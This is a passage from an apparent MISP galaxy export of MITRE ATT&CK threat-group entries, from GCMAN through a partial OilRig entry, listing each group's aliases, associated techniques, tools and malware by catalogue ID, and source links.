https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/

GCMAN - G0036

[GCMAN](https://attack.mitre.org/groups/G0036) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)

The tag is: misp-galaxy:mitre-intrusion-set="GCMAN - G0036"

GCMAN - G0036 is also known as:

GCMAN

GCMAN - G0036 has relationships with:

similar: misp-galaxy:threat-actor="GCMAN" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

Table 3035. Table References
Links
https://attack.mitre.org/groups/G0036
https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/

BlackOasis - G0063

[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)

The tag is: misp-galaxy:mitre-intrusion-set="BlackOasis - G0063"

BlackOasis - G0063 is also known as:

BlackOasis

BlackOasis - G0063 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 3036. Table References
Links
https://attack.mitre.org/groups/G0063
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/
https://securelist.com/apt-trends-report-q2-2017/79332/
https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/

APT39 - G0087

[APT39](https://attack.mitre.org/groups/G0087) is an Iranian cyber espionage group that has been active since at least 2014. They have targeted the telecommunication and travel industries to collect personal information that aligns with Iran’s national priorities. (Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)

The tag is: misp-galaxy:mitre-intrusion-set="APT39 - G0087"

APT39 - G0087 is also known as:

APT39
Chafer

APT39 - G0087 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Remexi - S0375" with estimative-language:likelihood-probability="almost-certain"

Table 3037. Table References
Links
https://attack.mitre.org/groups/G0087
https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html
https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets

SilverTerrier - G0083

[SilverTerrier](https://attack.mitre.org/groups/G0083) is a Nigerian threat group that has been seen active since 2014. [SilverTerrier](https://attack.mitre.org/groups/G0083) mainly targets organizations in high technology, higher education, and manufacturing.(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)

The tag is: misp-galaxy:mitre-intrusion-set="SilverTerrier - G0083"

SilverTerrier - G0083 is also known as:

SilverTerrier

SilverTerrier - G0083 has relationships with:

uses: misp-galaxy:mitre-malware="NETWIRE - S0198" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="DarkComet - S0334" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Agent Tesla - S0331" with estimative-language:likelihood-probability="almost-certain"

Table 3038. Table References
Links
https://attack.mitre.org/groups/G0083
https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/silverterrier-next-evolution-in-nigerian-cybercrime.pdf

Suckfly - G0039

[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)

The tag is: misp-galaxy:mitre-intrusion-set="Suckfly - G0039"

Suckfly - G0039 is also known as:

Suckfly

Suckfly - G0039 has relationships with:

similar: misp-galaxy:threat-actor="Suckfly" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Nidiran - S0118" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"

Table 3039. Table References
Links
https://attack.mitre.org/groups/G0039
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates
http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks

FIN4 - G0085

[FIN4](https://attack.mitre.org/groups/G0085) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) [FIN4](https://attack.mitre.org/groups/G0085) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)

The tag is: misp-galaxy:mitre-intrusion-set="FIN4 - G0085"

FIN4 - G0085 is also known as:

FIN4

FIN4 - G0085 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"

Table 3040. Table References
Links
https://attack.mitre.org/groups/G0085
https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html
https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html
https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html

menuPass - G0045

[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017) (Citation: DOJ APT10 Dec 2018)

The tag is: misp-galaxy:mitre-intrusion-set="menuPass - G0045"

menuPass - G0045 is also known as:

menuPass
Stone Panda
APT10
Red Apollo
CVNX
HOGFISH

menuPass - G0045 has relationships with:

similar: misp-galaxy:threat-actor="Stone Panda" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="SNUGRIDE - S0159" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="UPPERCUT - S0275" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ChChes - S0144" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="EvilGrab - S0152" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="esentutl - S0404" with estimative-language:likelihood-probability="almost-certain"

Table 3041. Table References
Links
https://attack.mitre.org/groups/G0045
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://www.justice.gov/opa/press-release/file/1121706/download
https://www.accenture.com/t20180423T055005Z_w_/se-en/acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf[https://www.accenture.com/t20180423T055005Z_w/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf]
https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html

Sowbug - G0054

[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)

The tag is: misp-galaxy:mitre-intrusion-set="Sowbug - G0054"

Sowbug - G0054 is also known as:

Sowbug

Sowbug - G0054 has relationships with:

similar: misp-galaxy:threat-actor="Sowbug" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Starloader - S0188" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Felismus - S0171" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 3042. Table References
Links
https://attack.mitre.org/groups/G0054
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

FIN7 - G0046

[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. [FIN7](https://attack.mitre.org/groups/G0046) is sometimes referred to as [Carbanak](https://attack.mitre.org/groups/G0008) Group, but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018)

The tag is: misp-galaxy:mitre-intrusion-set="FIN7 - G0046"

FIN7 - G0046 is also known as:

FIN7

FIN7 - G0046 has relationships with:

similar: misp-galaxy:threat-actor="Anunak" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Carbanak - S0030" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="HALFBAKED - S0151" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="SQLRat - S0390" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="RDFSNIFFER - S0416" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="BOOSTWRITE - S0415" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="GRIFFON - S0417" with estimative-language:likelihood-probability="almost-certain"

Table 3043. Table References
Links
https://attack.mitre.org/groups/G0046
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
http://blog.morphisec.com/fin7-attacks-restaurant-industry
https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html

Gallmaker - G0084

[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Gallmaker - G0084"

Gallmaker - G0084 is also known as:

Gallmaker

Gallmaker - G0084 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"

Table 3044. Table References
Links
https://attack.mitre.org/groups/G0084
https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group

RTM - G0048

[RTM](https://attack.mitre.org/groups/G0048) is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://attack.mitre.org/software/S0148)). (Citation: ESET RTM Feb 2017)

The tag is: misp-galaxy:mitre-intrusion-set="RTM - G0048"

RTM - G0048 is also known as:

RTM - G0048 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="RTM - S0148" with estimative-language:likelihood-probability="almost-certain"

Table 3045. Table References
Links
https://attack.mitre.org/groups/G0048
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf

Kimsuky - G0094

[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group focuses on targeting Korean think tank as well as DPRK/nuclear-related targets. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)

The tag is: misp-galaxy:mitre-intrusion-set="Kimsuky - G0094"

Kimsuky - G0094 is also known as:

Kimsuky
Velvet Chollima

Kimsuky - G0094 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1042" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"

Table 3046. Table References
Links
https://attack.mitre.org/groups/G0094
https://blog.alyac.co.kr/2234
https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/
https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/
https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/

OilRig - G0049

[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.

The tag is: misp-galaxy:mitre-intrusion-set="OilRig - G0049"

OilRig - G0049 is also known as:

OilRig
IRN2
HELIX KITTEN
APT34

OilRig - G0049 has relationships with:

similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
